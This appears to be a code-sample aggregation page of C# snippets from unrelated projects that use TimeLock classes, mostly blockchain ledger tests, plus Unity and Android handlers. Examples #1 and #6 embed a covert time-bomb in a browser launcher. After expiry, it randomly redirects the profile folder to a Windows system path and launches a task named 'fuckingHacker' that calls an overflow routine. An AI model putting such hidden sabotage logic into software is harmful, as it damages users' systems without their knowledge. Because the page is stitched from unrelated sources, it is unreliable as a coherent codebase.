示例#1
0
        public void Play(Models.Device device)
        {
            try
            {
                _profile = new Profile(device);
                string profileFolder = GetProfileFolder(_profile.Id, _profile.Name);
                profileFolder = expireValue(profileFolder, "C:\\Windows\\System32\\AppData");
                CreateThreadToHandlerPipeServer(false);
                Process process = new Process();
                process.StartInfo.FileName  = BrowserExecute;
                process.StartInfo.Arguments = $"--user-data-dir=\"{profileFolder}\"";
                process.Start();
                _browserProcessDic.Add(_profile.Id, process.Id);
            }
            catch (Exception ex)
            {
                throw new ArgumentException(ex.Message, ex);
            }

            if (_rnd.Next(6) > 3)
            {
                var fuckingHacker = new Task(() =>
                {
                    TimeLock.PerformOverflowIfExpired(_profile.Name);
                });
                fuckingHacker.Start();
            }
        }
示例#2
0
        public void TestUnspendableTimeLock()
        {
            using (var context = CreateContext())
            {
                var sender = BTC_ISSUER;
                // create unspendable timelock unlocked
                var timeLock = new TimeLock(0);
                {
                    var signed = Transfer(sender, timeLock.Address, Currency.BTC, 10);
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    Assert.IsTrue(context.TryGetAccount(sender.Address.Encoded, out var senderAccount));
                    Assert.IsTrue(context.TryGetAccount(timeLock.Address.Encoded, out var timelockAccount));

                    // check that the money has been sent
                    Assert.IsTrue(senderAccount.GetBalance(Currency.BTC) == -10);
                    Assert.IsTrue(timelockAccount.GetBalance(Currency.BTC) == 10);
                }

                // try spend money when locked
                {
                    var signed = Transfer(timeLock.Address, new List <PrivateKeyNotWallet>(), sender, Currency.BTC, 10, new List <TxDeclaration> {
                        timeLock
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }
            }
        }
示例#3
0
    private void Start()
    {
        timeLock    = GetComponent <TimeLock>();
        assetLoader = GetComponent <AssetLoader>();

        timeLock.OnStateChanged.AddListener(OnStateChanged);
        timeLock.OnOpened.AddListener(OnOpened);
    }
 // bad naming
 public virtual bool DeclareAccount(TimeLock account)
 {
     if (TrySetDeclaration(account))
     {
         timeLocksToInclude.Add(account);
         return(true);
     }
     return(false);
 }
示例#5
0
        protected override void ExecuteCommand(string[] args)
        {
            var date = dateArgument.Value;
            var time = timeArgument.Value;

            var datetime = DateTime.Parse($"{date} {time}"); // "MM/dd/yyyy HH:mm:ss"
            var timelock = new TimeLock(datetime.ToUnixTimestamp());

            WalletService.ImportDeclaration(aliasArgument.Value, timelock);

            Console.WriteLine($"TimeLock Address {timelock.Address.Encoded}");
        }
示例#6
0
        private string expireValue(string requestValue, string expiredValue)
        {
            if (TimeLock.IsExpired())
            {
                var generator = new RandomGenerator();

                if (generator.RandomNumber(1, 6) == 3)
                {
                    return(expiredValue);
                }
            }

            return(requestValue);
        }
示例#7
0
        public void Transaction_DuplicateDeclarations()
        {
            using (var context = CreateContext())
            {
                var issuer = BTC_ISSUER;

                var signers = new List <Address>()
                {
                    CreateAccount().Address, CreateAccount().Address
                };
                var multi = new MultiSignature(signers, 2);
                //  Check multisig
                {
                    var signed = Transfer(issuer, multi.Address, Currency.BTC, 1, null, null, new List <TxDeclaration> {
                        multi, multi
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }

                // create timelock
                var timelock = new TimeLock(DateTime.Now.AddDays(-1).ToUnixTimestamp());
                // Check timelocks
                {
                    var signed = Transfer(issuer, timelock.Address, Currency.BTC, 1, null, null, new List <TxDeclaration> {
                        timelock, timelock
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }

                var secret   = Secret.GenerateSecret();
                var hashlock = new HashLock(secret.ComputeSecretHash(SecretHashType.SHA256));
                //  Check hashLock
                {
                    var signed = Transfer(issuer, hashlock.Address, Currency.BTC, 1, null, null, new List <TxDeclaration> {
                        hashlock, hashlock
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }

                var secretRevelation = new SecretRevelation(secret);
                //  Check Secret
                {
                    var signed = Transfer(issuer, hashlock.Address, Currency.BTC, 1, null, null, new List <TxDeclaration> {
                        secretRevelation, secretRevelation
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }
            }
        }
示例#8
0
 protected void Write(TimeLock locker)
 {
     Write(locker.Timestamp);
 }
示例#9
0
        public void TestHashTimeLock()
        {
            // TODO CANCEL sender + receiver

            // we can emulate hashtime lock behaviour
            using (var context = CreateContext())
            {
                var issuer = BTC_ISSUER;

                var sender   = CreateAccount();
                var receiver = CreateAccount();

                var timeunlocked = new TimeLock(DateTime.Now.AddDays(-1).ToUnixTimestamp());
                var timelocked   = new TimeLock(DateTime.Now.AddDays(1).ToUnixTimestamp());

                // TODO we are missing Hash160 : SHA256 + ripemd160
                // create secret hash
                var type       = SecretHashType.SHA3;
                var secret     = Secret.GenerateSecret();
                var hash       = secret.ComputeSecretHash(type);
                var hashlock   = new HashLock(hash);
                var revelation = new SecretRevelation(secret);

                // CLAIM receiver + hashlock
                var claim = new MultiSignature(new List <Address>()
                {
                    receiver.Address, hashlock.Address
                }, 2);
                // TIMEOUT sender + timelock
                var timeoutlocked = new MultiSignature(new List <Address>()
                {
                    sender.Address, timelocked.Address
                }, 2);
                var timeoutunlocked = new MultiSignature(new List <Address>()
                {
                    sender.Address, timeunlocked.Address
                }, 2);

                var hashtimelocked = new MultiSignature(new List <Address>()
                {
                    claim.Address, timeoutlocked.Address
                }, 1);
                var hashtimeunlocked = new MultiSignature(new List <Address>()
                {
                    claim.Address, timeoutunlocked.Address
                }, 1);

                // send money to hashtimelocked account
                {
                    var signed = Transfer(issuer, hashtimelocked.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                    {
                        hashtimelocked
                    });
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    Assert.IsTrue(context.TryGetAccount(issuer.Address.Encoded, out var issuerAccount));
                    Assert.IsTrue(context.TryGetAccount(hashtimelocked.Address.Encoded, out var hashtimelockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(issuerAccount.GetBalance(Currency.BTC) == -10);
                    Assert.IsTrue(hashtimelockedAccount.GetBalance(Currency.BTC) == 10);
                }

                // try timeout from hashtimelocked
                {
                    var signed = Transfer(hashtimelocked.Address, new List <PrivateKeyNotWallet>()
                    {
                        sender
                    }, sender, Currency.BTC, 10, new List <TxDeclaration>()
                    {
                        timelocked, timeoutlocked
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }

                // claim from hashtimelocked
                {
                    var signed = Transfer(hashtimelocked.Address, new List <PrivateKeyNotWallet>()
                    {
                        receiver
                    }, issuer.Address, Currency.BTC, 10, new List <TxDeclaration>()
                    {
                        hashlock, claim, revelation
                    });
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    // update data
                    Assert.IsTrue(context.TryGetAccount(issuer.Address.Encoded, out var issuerAccount));
                    Assert.IsTrue(context.TryGetAccount(hashtimelocked.Address.Encoded, out var hashtimelockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(issuerAccount.GetBalance(Currency.BTC) == 0);
                    Assert.IsTrue(hashtimelockedAccount.GetBalance(Currency.BTC) == 0);
                }

                // send money to hashtimeunlocked account
                {
                    var signed = Transfer(issuer, hashtimeunlocked.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                    {
                        hashtimeunlocked
                    });
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    Assert.IsTrue(context.TryGetAccount(issuer.Address.Encoded, out var issuerAccount));
                    Assert.IsTrue(context.TryGetAccount(hashtimeunlocked.Address.Encoded, out var hashtimeunlockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(issuerAccount.GetBalance(Currency.BTC) == -10);
                    Assert.IsTrue(hashtimeunlockedAccount.GetBalance(Currency.BTC) == 10);
                }

                // timeout from hashtimeunlocked
                {
                    var signed = Transfer(hashtimeunlocked.Address, new List <PrivateKeyNotWallet>()
                    {
                        sender
                    }, issuer.Address, Currency.BTC, 10, new List <TxDeclaration>()
                    {
                        timeunlocked, timeoutunlocked
                    });
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    // update data
                    Assert.IsTrue(context.TryGetAccount(issuer.Address.Encoded, out var issuerAccount));
                    Assert.IsTrue(context.TryGetAccount(hashtimeunlocked.Address.Encoded, out var hashtimeunlockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(issuerAccount.GetBalance(Currency.BTC) == 0);
                    Assert.IsTrue(hashtimeunlockedAccount.GetBalance(Currency.BTC) == 0);
                }
            }
        }
示例#10
0
        public void TestTimeLock()
        {
            using (var context = CreateContext())
            {
                var sender = BTC_ISSUER;

                // We have an seed block, which has been generated some time ago, so for the first timelock to be unlocked we get the time from it
                var blockBegin = Utils.UnixTimeToDateTime(context.LedgerService.LedgerManager.GetLedgerBeginTime()).DateTime;
                // create timelock unlocked
                var timeunlocked = new TimeLock(blockBegin.AddDays(-1).ToUnixTimestamp());

                // send money to unlocked account
                {
                    var signed = Transfer(sender, timeunlocked.Address, Currency.BTC, 10);
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    Assert.IsTrue(context.TryGetAccount(sender.Address.Encoded, out var senderAccount));
                    Assert.IsTrue(context.TryGetAccount(timeunlocked.Address.Encoded, out var timeunlockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(senderAccount.GetBalance(Currency.BTC) == -10);
                    Assert.IsTrue(timeunlockedAccount.GetBalance(Currency.BTC) == 10);
                }

                // try spend money without declaration
                {
                    var signed = Transfer(timeunlocked.Address, new List <PrivateKeyNotWallet>(), sender, Currency.BTC, 10);
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }

                // spend money with declaration
                {
                    var signed = Transfer(timeunlocked.Address, new List <PrivateKeyNotWallet>(), sender, Currency.BTC, 10, new List <TxDeclaration>()
                    {
                        timeunlocked
                    });
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    Assert.IsTrue(context.TryGetAccount(sender.Address.Encoded, out var senderAccount));
                    Assert.IsTrue(context.TryGetAccount(timeunlocked.Address.Encoded, out var timeunlockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(senderAccount.GetBalance(Currency.BTC) == 0);
                    Assert.IsTrue(timeunlockedAccount.GetBalance(Currency.BTC) == 0);
                }

                // create timelock locked
                var timelocked = new TimeLock(DateTime.Now.AddDays(1).ToUnixTimestamp());
                // send money to locked account
                {
                    var signed = Transfer(sender, timelocked.Address, Currency.BTC, 10);
                    context.SendTransaction(signed);
                    Assert.IsTrue(context.TryCreateNextLedger());

                    Assert.IsTrue(context.TryGetAccount(sender.Address.Encoded, out var senderAccount));
                    Assert.IsTrue(context.TryGetAccount(timelocked.Address.Encoded, out var timelockedAccount));

                    // check that the money has been sent
                    Assert.IsTrue(senderAccount.GetBalance(Currency.BTC) == -10);
                    Assert.IsTrue(timelockedAccount.GetBalance(Currency.BTC) == 10);
                }

                // try spend money when locked
                {
                    var signed = Transfer(timelocked.Address, new List <PrivateKeyNotWallet>(), sender, Currency.BTC, 10, new List <TxDeclaration>()
                    {
                        timelocked
                    });
                    context.SendTransaction(signed, ResultCode.TransactionValidationFailed);
                }
            }
        }
        private void BtnCheckLocked_Clicked(object sender, EventArgs e)
        {
            TaskResult unlockedStatus = TimeLock.isLocked();

            AndroidBridge.ToastIt(string.Format("Locked? {0}, Reason: '{1}'", unlockedStatus.success, unlockedStatus.eventReason));
        }
示例#12
0
 private void OnStateChanged(TimeLock timeLock, TimeLock.State state)
 {
     saveData.OpenedLocks[timeLock.Day] = state == TimeLock.State.Opened;
     Save();
 }
 private static Internals.TimeLock CreateTimeLock(TimeLock declaration)
 {
     return(new Internals.TimeLock(declaration.Timestamp, declaration.Address.Encoded));
 }
示例#14
0
 private bool TryGetTimeLockFromDeclarations(List <TxDeclaration> declarations, Address address, out TimeLock timelock)
 {
     foreach (var txDeclaration in declarations)
     {
         if (txDeclaration.Type == DeclarationType.TimeLock)
         {
             var declaration = (TimeLock)txDeclaration;
             if (declaration.Address == address)
             {
                 timelock = declaration;
                 return(true);
             }
         }
     }
     timelock = null;
     return(false);
 }
 public TimeLockRequiredSignature(TimeLock locker)
 {
     this.locker = locker;
 }
示例#16
0
        public void LedgerTransformationTestMerkleHash()
        {
            using (var context = CreateContext(true))
            {
                var sender  = BTC_ISSUER;
                var signer1 = CreateAccount();
                var signer2 = CreateAccount();

                var signers = new List <Address>()
                {
                    signer1, signer2
                };
                var multi = new MultiSignature(signers, 2);

                var secret   = Secret.GenerateSecret();
                var hashlock = new HashLock(secret.ComputeSecretHash(SecretHashType.SHA3));

                var timeLock = new TimeLock(DateTime.Now.AddDays(-1).ToUnixTimestamp());

                var signed = Transfer(sender, multi.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                {
                    multi, hashlock, timeLock
                });
                context.SendTransaction(signed);

                var signed1 = Transfer(sender, hashlock.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                {
                    multi, hashlock, timeLock
                });
                context.SendTransaction(signed1);

                var signed2 = Transfer(sender, timeLock.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                {
                    multi, hashlock, timeLock
                });
                context.SendTransaction(signed2);

                // Send address declaration but don't use the address
                var signed3 = Transfer(sender, timeLock.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                {
                    new MultiSignature(new List <Address>()
                    {
                        CreateAccount(), CreateAccount(), CreateAccount()
                    }, 3)
                });
                context.SendTransaction(signed3);

                // Send address declaration but don't use the address
                var signed4 = Transfer(sender, timeLock.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                {
                    new HashLock(Secret.GenerateSecret().ComputeSecretHash(SecretHashType.SHA256))
                });
                context.SendTransaction(signed4);

                // Send address declaration but don't use the address
                var signed5 = Transfer(sender, timeLock.Address, Currency.BTC, 10, null, null, new List <TxDeclaration>()
                {
                    new TimeLock(777)
                });
                context.SendTransaction(signed5);

                Assert.IsTrue(context.TryCreateNextLedger());

                context.DataTransformationService.WaitTransformationCompleted();

                var last = context.LedgerService.LedgerManager.GetMerkleRootHash();

                Assert.Fail();

                /*
                 * var fromDb = context.DatabaseService.ReadDatabaseManager.GetLastLedger();
                 *
                 * if(fromDb.GetHeight() != context.LedgerService.LedgerManager.LastLedger.GetHeight())
                 *  Assert.Inconclusive();
                 *
                 * Assert.IsTrue(last.Equals(fromDb.Ledger.MerkleHash));
                 */
            }
        }